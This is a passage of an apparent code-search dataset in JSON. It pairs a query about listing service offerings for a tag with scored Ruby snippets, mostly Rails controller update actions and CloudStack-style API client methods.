:show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "95db6e768803a2f7299c9fbe3b15cd20", "score": "0.64255214", "text": "def actualizacion \n fiesta.update (params[:id]) \n render json: fiesta\n end", "title": "" }, { "docid": "b2064471b347a22ec9f8f17f8f548ce6", "score": "0.641885", "text": "def update\n @serv_adicionale = ServAdicionale.find(params[:id])\n\n respond_to do |format|\n if @serv_adicionale.update_attributes(params[:serv_adicionale])\n format.html { redirect_to @serv_adicionale, notice: 'Serv adicionale was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @serv_adicionale.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "db20680d5294f4165e2c68b50d1bfef6", "score": "0.6417769", "text": "def update\n @asiento = Asiento.find(params[:id])\n\n respond_to do |format|\n if @asiento.update_attributes(params[:asiento])\n format.html { redirect_to @asiento, :notice => 'El apunte fue cambiado.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @asiento.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6a05d19c3ac3c8b8f8ecb17945295238", "score": "0.6417128", "text": "def update\n respond_to do |format|\n if @carrito_producto.update(params[:cantidad_productos])\n format.html { redirect_to @carrito_producto, notice: 'Carrito was successfully updated.' }\n format.json { render :show, status: :ok, location: @carrito_producto }\n else\n format.html { render :edit }\n format.json { render json: @carrito_producto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "21ab36f83329df6e53de92524bc98fac", "score": "0.6415933", "text": "def update\n respond_to do |format|\n if @producto_detalle.update(producto_detalle_params)\n format.html { redirect_to @producto_detalle, notice: 'Producto detalle was successfully updated.' }\n format.json { render :show, status: :ok, location: @producto_detalle }\n else\n format.html { render :edit }\n format.json { render json: @producto_detalle.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "594a98ad63d4981e3614d92178163504", "score": "0.64153963", "text": "def update\n @competicao = Competicao.find(params[:id])\n\n respond_to do |format|\n if @competicao.update_attributes(params[:competicao])\n format.html { redirect_to @competicao, notice: 'Competicao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @competicao.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aa70eb8d00cf7d1cc314795a163061ac", "score": "0.64146906", "text": "def update\n respond_to do |format|\n if @opcao.update(opcao_params)\n format.html { redirect_to @opcao, notice: 'Opcao atualizada com sucesso!' }\n format.json { render :show, status: :ok, location: @opcao }\n else\n format.html { render :edit }\n format.json { render json: @opcao.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a57f3ad6adfdcf978b364e04d6314ac", "score": "0.641426", "text": "def update\n @selecao = Selecao.find(params[:id])\n\n respond_to do |format|\n if @selecao.update_attributes(params[:selecao])\n format.html { redirect_to @selecao, notice: 'Selecao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @selecao.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "563ab595a4e8ec3567308f43f1756ec8", "score": "0.6410146", "text": "def update\n respond_to do |format|\n if @producto_platillo.update(producto_platillo_params)\n format.html { redirect_to @producto_platillo, notice: 'El Detalle del Platillo Fue Actualizado Exitosamente.' }\n format.json { render :show, status: :ok, location: @producto_platillo }\n else\n format.html { render :edit }\n format.json { render json: @producto_platillo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6ae4e7ce9bdaea51481f49f44c7023b8", "score": "0.64032936", "text": "def update\n respond_to do |format|\n if @comentario.update(comentario_params)\n response_successfully(format, produto, 'Comentario was successfully updated.', :show, :ok)\n else\n response_unsuccessfully(format, :edit, @comentario, :unprocessable_entity)\n end\n end\n end", "title": "" }, { "docid": "0d948dde398d7a796ed1f4b9c9d87496", "score": "0.6401135", "text": "def update\n respond_to do |format|\n if @producto_vehiculo.update(producto_vehiculo_params)\n format.html { redirect_to @producto_vehiculo, notice: 'Producto vehiculo was successfully updated.' }\n format.json { render :show, status: :ok, location: @producto_vehiculo }\n else\n format.html { render :edit }\n format.json { render json: @producto_vehiculo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1e6b4a943d16f64c5797935f4f87b37a", "score": "0.6401128", "text": "def update\n\n @empresa_servicio = EmpresaServicio.find(params[:id])\n respond_to do |format|\n if @empresa_servicio.update_attributes(params[:empresa_servicio])\n\n format.html { redirect_to empresa_empresa_servicios_path, notice: \"Los datos del servicio fueron actualizados para la empresa #{@empresa_servicio.empresa.nombre_empresa}\"}\n \n else\n format.html { render action: \"edit\" }\n format.json { render json: @empresa_servicio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b85f718a803d2594df7321380a0d133f", "score": "0.6382028", "text": "def update\n respond_to do |format|\n if @entrada_produto.update(entrada_produto_params)\n format.html { redirect_to @entrada_produto, notice: 'Entrada produto was successfully updated.' }\n format.json { render :show, status: :ok, location: @entrada_produto }\n else\n format.html { render :edit }\n format.json { render json: @entrada_produto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "574a99ebb5789b159e2d72883673aabb", "score": "0.63774663", "text": "def update\n respond_to do |format|\n if @precio_boleto.update(precio_boleto_params)\n format.html { redirect_to @precio_boleto, notice: 'Precio boleto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @precio_boleto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f84652607b68f375a77c150db84d1e82", "score": "0.637489", "text": "def update\n # @produto = Produto.find(params[:id])\n\n respond_to do |format|\n if @produto.update_attributes(params[:produto])\n format.html { redirect_to(@produto, :notice => 'Produto atualizado!') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @produto.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "33efd1c46f594864bfb0abd9bea68442", "score": "0.63669634", "text": "def update\n respond_to do |format|\n if @solicitacoes_avaliacoes_servico.update(solicitacoes_avaliacoes_servico_params)\n format.html { redirect_to @solicitacoes_avaliacoes_servico, notice: 'Solicitacoes avaliacoes servico was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @solicitacoes_avaliacoes_servico.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "074baea2e916200b40e2ea70d5dd2977", "score": "0.6365451", "text": "def update\n @sitio_entrega = SitioEntrega.find(params[:id])\n\n respond_to do |format|\n if @sitio_entrega.update_attributes(params[:sitio_entrega])\n format.html { redirect_to @sitio_entrega, notice: 'Sitio entrega was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sitio_entrega.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8a564babc91a1874282f7bf8c021821d", "score": "0.63654333", "text": "def update\n @familia_producto = FamiliaProducto.find(params[:id])\n\n respond_to do |format|\n if @familia_producto.update_attributes(params[:familia_producto])\n format.html { redirect_to @familia_producto, notice: 'Familia producto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @familia_producto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "79dbced75373f397b5aaf33eab44ac25", "score": "0.6364962", "text": "def update\n respond_to do |format|\n if @compra_venta_normal.update(compra_venta_normal_params)\n format.html { redirect_to @compra_venta_normal, notice: 'Compra venta normal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @compra_venta_normal.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "64ddf6c6386165fd4a60fb248db51d93", "score": "0.63646936", "text": "def update\n respond_to do |format|\n if @objeto.update(requisito_params)\n format.html { redirect_to @objeto, notice: \"Requisito was successfully updated.\" }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "20196cb98c2cc837047625437df38233", "score": "0.6363122", "text": "def update\n respond_to do |format|\n if @comanda_produto.update(comanda_produto_params)\n format.html { redirect_to @comanda_produto, notice: 'Item atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @comanda_produto }\n else\n format.html { render :edit }\n format.json { render json: @comanda_produto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6761b86ad528cc3130bc67449564ad22", "score": "0.63628936", "text": "def update\n respond_to do |format|\n if @repuesto_servicio.update(repuesto_servicio_params)\n format.html { redirect_to @repuesto_servicio, notice: 'Repuesto o servicio fue actualizado con éxito.' }\n format.json { render :show, status: :ok, location: @repuesto_servicio }\n else\n format.html { render :edit }\n format.json { render json: @repuesto_servicio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ea9afadd125ed5f56db97910426f5282", "score": "0.63609093", "text": "def update\n @documentotipo = Documentotipo.find(params[:id])\n\n respond_to do |format|\n if @documentotipo.update_attributes(params[:documentotipo])\n format.html { redirect_to @documentotipo, notice: 'Documentotipo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @documentotipo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "57d009bb8775104a4aa805c98e4af16a", "score": "0.6355444", "text": "def update\n respond_to do |format|\n if @sintoma.update(sintoma_params)\n format.html { redirect_to @sintoma, notice: 'Sintoma was successfully updated.' }\n format.json { render :show, status: :ok, location: @sintoma }\n else\n format.html { render :edit }\n format.json { render json: @sintoma.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b4e19a80c31b594aa30cb9ff314f786b", "score": "0.63549566", "text": "def update\n @tipo_product = TipoProduct.find(params[:id])\n\n respond_to do |format|\n if @tipo_product.update_attributes(params[:tipo_product])\n format.html { redirect_to @tipo_product, notice: 'Tipo product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f7c601f059408a28b02538ebf6a0abbc", "score": "0.6352267", "text": "def update\n\trespond_to do |format|\n\tif @precio_boleto.update(precio_boleto_params)\n\t\tformat.html { redirect_to @precio_boleto, notice: 'Precio boleto was successfully updated.' }\n\t\tformat.json { head :no_content }\n\telse\n\t\tformat.html { render action: 'edit' }\n\t\tformat.json { render json: @precio_boleto.errors, status: :unprocessable_entity }\n\tend\n\tend\nend", "title": "" }, { "docid": "cbca196c349e885e07f317fb8a2624a6", "score": "0.6347292", "text": "def update\n @respuesta = Respuesta.find(params[:id])\n\n if @respuesta.update(params[:respuesta])\n head :no_content\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "1796f75fde254ced9110a8f895d60d73", "score": "0.63436496", "text": "def update\n respond_to do |format|\n if @tapioca.update(tapioca_params)\n format.html { redirect_to @tapioca, notice: 'Tapioca was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tapioca.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "55afba85f7b3c5be241ef3acaed43299", "score": "0.63435733", "text": "def update\n respond_to do |format|\n if @com_articulo.update(com_articulo_params)\n format.html { redirect_to @com_articulo, notice: 'Producto actualizado correctamente.' }\n format.json { render :show, status: :ok, location: @com_articulo }\n else\n format.html { render :edit }\n format.json { render json: @com_articulo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f21082f8192380270a151d1c861d1cb7", "score": "0.63423115", "text": "def update\n respond_to do |format|\n if @tarifas_servicio.update(tarifas_servicio_params)\n format.html { redirect_to tarifas_servicios_url, notice: 'Tarifas servicio Se ha actualizado correctamente..' }\n format.json { render :show, status: :ok, location: @tarifas_servicio }\n else\n format.html { render :edit }\n format.json { render json: @tarifas_servicio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "027fbd5ff416674030d642c89ccfe07c", "score": "0.6339429", "text": "def update\n respond_to do |format|\n if @os_entregavel.update(os_entregavel_params)\n if @os_entregavel.ordem_servico.id!=nil\n format.html { redirect_to \"/ordem_servicos/\"+@os_entregavel.ordem_servico.id.to_s, notice: 'Os entregavel foi atualizado(a)' }\n format.json { head :no_content }\n else\n format.html { redirect_to @os_entregavel, notice: 'Os entregavel foi atualizado(a)' }\n format.json { render :show, status: :ok, location: @os_entregavel }\n end\n else\n format.html { render :edit }\n format.json { render json: @os_entregavel.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9ecb78c04fda60cf9d1ef914b42e359e", "score": "0.63369256", "text": "def update\n @pessoa = Pessoa.find(params[:id])\n\n respond_to do |format|\n if @pessoa.update_attributes(params[:pessoa])\n format.html { redirect_to pessoas_path, notice: 'Pessoa atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pessoa.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c3de57f38ba19530ebb308637cbef6fc", "score": "0.63325983", "text": "def update\n respond_to do |format|\n if @substancia.update(substancia_params)\n format.html { redirect_to @substancia, notice: 'Substancia was successfully updated.' }\n format.json { render :show, status: :ok, location: @substancia }\n else\n format.html { render :edit }\n format.json { render json: @substancia.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3e6356f5fb06f187e4f2eca0a85c0861", "score": "0.6331323", "text": "def update\n respond_to do |format|\n if @lista_produto.update(lista_produto_params)\n format.html { redirect_to @lista_produto, notice: 'Lista produto was successfully updated.' }\n format.json { render :show, status: :ok, location: @lista_produto }\n else\n format.html { render :edit }\n format.json { render json: @lista_produto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "73d458239002f025ae6e3fe3ff240496", "score": "0.6322631", "text": "def update\n respond_to do |format|\n if (Servicio.where(id: especialidad_params[:servicio_id]).select(:enable).first.enable)\n if @especialidad.update(especialidad_params)\n format.html { redirect_to @especialidad, notice: 'Servicio actualizado exitosamente.' }\n format.json { render :show, status: :ok, location: @especialidad }\n else\n format.html { render :edit }\n format.json { render json: @especialidad.errors, status: :unprocessable_entity }\n end\n else\n format.html { render :edit }\n format.json { render json: @especialidad.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "229dcae387e46538ab2bac0aa19204c4", "score": "0.63198835", "text": "def update\n respond_to do |format|\n if @protocolo.update(protocolo_params)\n addlog(\"Protocolo alterado\")\n format.html { redirect_to @protocolo, notice: 'Protocolo foi atualizado.' }\n format.json { render :show, status: :ok, location: @protocolo }\n else\n format.html { render :edit }\n format.json { render json: @protocolo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8d6a61f3186174209e44862cb0ae05d7", "score": "0.6313089", "text": "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "title": "" } ]
077791f1f9b38aef91f536301cd7b37c
List ServiceOfferings for Tag Returns an array of ServiceOffering objects
[ { "docid": "747842b6776b65b5240eedf8ca74d797", "score": "0.7335182", "text": "def list_tag_service_offerings(id, opts = {})\n data, _status_code, _headers = list_tag_service_offerings_with_http_info(id, opts)\n data\n end", "title": "" } ]
[ { "docid": "ca6d92babbcc6a807babbf12fac399d0", "score": "0.7931848", "text": "def list_service_offerings\n params = {\n 'command' => 'listServiceOfferings'\n }\n json = send_request(params)\n json['serviceoffering'] || []\n end", "title": "" }, { "docid": "1d1c092a1150bf3e64392f2427d2e40f", "score": "0.6952072", "text": "def list_service_offerings(opts = {})\n data, _status_code, _headers = list_service_offerings_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "1d1c092a1150bf3e64392f2427d2e40f", "score": "0.6952072", "text": "def list_service_offerings(opts = {})\n data, _status_code, _headers = list_service_offerings_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "6e6bdb179a000ff0d675010e661e2293", "score": "0.6666078", "text": "def get_service_offering(name)\n\n # TODO: use name parameter\n # listServiceOfferings in CloudStack 2.2 doesn't seem to work\n # when the name parameter is specified. When this is fixed,\n # the name parameter should be added to the request.\n params = {\n 'command' => 'listServiceOfferings'\n }\n json = send_request(params)\n\n services = json['serviceoffering']\n return nil unless services\n\n services.each { |s|\n if name.is_uuid? then\n return s if s['id'] == name\n else\n return s if s['name'] == name\n end\n }\n nil\n end", "title": "" }, { "docid": "9f298861d075e7731cdfd0e0a1e19164", "score": "0.6575061", "text": "def list_service_offering_tags(id, opts = {})\n data, _status_code, _headers = list_service_offering_tags_with_http_info(id, opts)\n data\n end", "title": "" }, { "docid": "70016072f0491ca6666808f3a7e17637", "score": "0.6125803", "text": "def tag_service_offering(id, tag, opts = {})\n data, _status_code, _headers = tag_service_offering_with_http_info(id, tag, opts)\n data\n end", "title": "" }, { "docid": "a0f97f67ad0e60f7fc6c488e7ab89a10", "score": "0.607323", "text": "def offerings(appt)\n offerings = \"\"\n if appt.offerings == []\n offerings = \"No Services Selected\"\n else\n appt.offerings.each do |off|\n offerings += off.name + \" \"\n end\n end\n return offerings\n end", "title": "" }, { "docid": "f4da39e6175713b6dec71576e9f033a3", "score": "0.6017101", "text": "def list_service_offerings_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.list_service_offerings ...'\n end\n # resource path\n local_var_path = '/service_offerings'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['UserSecurity']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<ServiceOffering>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#list_service_offerings\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "77fd03392408e862d5369b0023eb8d3e", "score": "0.5934399", "text": "def list_source_region_service_offerings(id, opts = {})\n data, _status_code, _headers = list_source_region_service_offerings_with_http_info(id, opts)\n data\n end", "title": "" }, { "docid": "27f7590ae3050da419e4d5c27be268bd", "score": "0.59089833", "text": "def offerings\n []\n end", "title": "" }, { "docid": "27f7590ae3050da419e4d5c27be268bd", "score": "0.59089833", "text": "def offerings\n []\n end", "title": "" }, { "docid": "34f836afe96296b2bdf2a1ed2266383e", "score": "0.5876944", "text": "def index\n @offerings = Offering.all\n end", "title": "" }, { "docid": "acaea349bc722cb6a38b250dc6372bcd", "score": "0.5818265", "text": "def list_tag_service_offerings_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.list_tag_service_offerings ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling DefaultApi.list_tag_service_offerings\"\n end\n pattern = Regexp.new(/^\\d+$/)\n if @api_client.config.client_side_validation && id !~ pattern\n fail ArgumentError, \"invalid value for 'id' when calling DefaultApi.list_tag_service_offerings, must conform to the pattern #{pattern}.\"\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling DefaultApi.list_tag_service_offerings, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling DefaultApi.list_tag_service_offerings, must be greater than or equal to 1.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'offset'].nil? && opts[:'offset'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"offset\"]\" when calling DefaultApi.list_tag_service_offerings, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/tags/{id}/service_offerings'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'ServiceOfferingsCollection' \n\n # auth_names\n auth_names = opts[:auth_names] || ['UserSecurity']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#list_tag_service_offerings\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "62a7c4b4d1f7031bbd41c4a0e8caa8a8", "score": "0.5781145", "text": "def list_source_service_offerings(id, opts = {})\n data, _status_code, _headers = list_source_service_offerings_with_http_info(id, opts)\n data\n end", "title": "" }, { "docid": "62a7c4b4d1f7031bbd41c4a0e8caa8a8", "score": "0.5781145", "text": "def list_source_service_offerings(id, opts = {})\n data, _status_code, _headers = list_source_service_offerings_with_http_info(id, opts)\n data\n end", "title": "" }, { "docid": "62a7c4b4d1f7031bbd41c4a0e8caa8a8", "score": "0.5781145", "text": "def list_source_service_offerings(id, opts = {})\n data, _status_code, _headers = list_source_service_offerings_with_http_info(id, opts)\n data\n end", "title": "" }, { "docid": "29caa120e3d3efd66b047af55749698a", "score": "0.5770221", "text": "def list_service_offering_tags_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.list_service_offering_tags ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling DefaultApi.list_service_offering_tags\"\n end\n pattern = Regexp.new(/^\\d+$/)\n if @api_client.config.client_side_validation && id !~ pattern\n fail ArgumentError, \"invalid value for 'id' when calling DefaultApi.list_service_offering_tags, must conform to the pattern #{pattern}.\"\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling DefaultApi.list_service_offering_tags, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling DefaultApi.list_service_offering_tags, must be greater than or equal to 1.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'offset'].nil? && opts[:'offset'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"offset\"]\" when calling DefaultApi.list_service_offering_tags, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/service_offerings/{id}/tags'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'TagsCollection' \n\n # auth_names\n auth_names = opts[:auth_names] || ['UserSecurity']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#list_service_offering_tags\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "b3041d2ea063a71e1ade151788861146", "score": "0.576721", "text": "def index\n if params['tags']\n tag_list = params['tags'].split(',')\n logger.debug({type: 'list_tagged_essays', tags: tag_list})\n @essays = Essay.tagged_with(tag_list).includes(:tags)\n else\n @essays = Essay.all.includes(:tags)\n end\n end", "title": "" }, { "docid": "9f5e62aa4b34b1d3a80312f2a4b5f072", "score": "0.56266564", "text": "def offers() Offer.all(:product_ids => self.id) end", "title": "" }, { "docid": "b2a97e7adfcd91f6b12b6b77b18902e2", "score": "0.55701846", "text": "def list_subscription_service_offerings(id, opts = {})\n data, _status_code, _headers = list_subscription_service_offerings_with_http_info(id, opts)\n data\n end", "title": "" }, { "docid": "caabaa02632f9b04975555932f3c5fdd", "score": "0.5505414", "text": "def index\n @offers = @request.offers\n\n end", "title": "" }, { "docid": "d57c278fc66df6d6aa6962e3fb5e15a6", "score": "0.5484129", "text": "def list_service_offering_service_instances(id, opts = {})\n data, _status_code, _headers = list_service_offering_service_instances_with_http_info(id, opts)\n data\n end", "title": "" }, { "docid": "d57c278fc66df6d6aa6962e3fb5e15a6", "score": "0.5484129", "text": "def list_service_offering_service_instances(id, opts = {})\n data, _status_code, _headers = list_service_offering_service_instances_with_http_info(id, opts)\n data\n end", "title": "" }, { "docid": "80652c3d36bbdd8ce143d6069d4ce511", "score": "0.5462588", "text": "def service_list(barber_id, service_id)\n for i in 0..(service.time_slots - 1)\n slot = Slot.new(barber_id, service_id)\n service_array = []\n service_array << slot\n end\n return service_array\n end", "title": "" }, { "docid": "de903cd58575daa1f052008f22b6c473", "score": "0.5458273", "text": "def list_tag_service_inventories(id, opts = {})\n data, _status_code, _headers = list_tag_service_inventories_with_http_info(id, opts)\n data\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.54529864", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.54529864", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.54529864", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.54529864", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.54529864", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.54529864", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.54529864", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.54529864", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.54529864", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.54529864", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.54529864", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.54529864", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.54529864", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "c02b9d80a3261ba1fc34563e12fcfa64", "score": "0.54390574", "text": "def index\n @offers = Offer.paginate(page: params[:page])\n end", "title": "" }, { "docid": "28b874039adc6157b2c7889a69dff3b5", "score": "0.54147124", "text": "def index\n @part2_offerings = Part2Offering.all\n end", "title": "" }, { "docid": "8d567bc2437e092d16cef0c4a2e3b5dd", "score": "0.5403135", "text": "def all\n response = get('findAll', {'page' => 1, 'limit' => 50}).body\n if response.success?\n response.result = response.body['data'].map do |id, offer|\n HasOffers::Models::Offer.parse(offer)\n end\n end\n\n response\n end", "title": "" }, { "docid": "8b9b1d05b8d5909224dd6d77cbc53ba7", "score": "0.5373857", "text": "def index\n @offerers = Offerer.all\n end", "title": "" }, { "docid": "6ba57f317a86a3a1562285c41db7ce5a", "score": "0.536292", "text": "def get_search_tags_for_tenant\n [Tag.find_by_name(get_intesa_property)]\n end", "title": "" }, { "docid": "ffb2bcf8d70bbb2215dcf496ccae8bfa", "score": "0.5354954", "text": "def index\n @q = @offers.search params[:q]\n @offers = @q.result.page(params[:page])\n end", "title": "" }, { "docid": "5540906234ae1f61afed5af0ae4014b5", "score": "0.5343945", "text": "def get_disk_offering(name)\n\n # TODO: use name parameter\n # listServiceOfferings in CloudStack 2.2 doesn't seem to 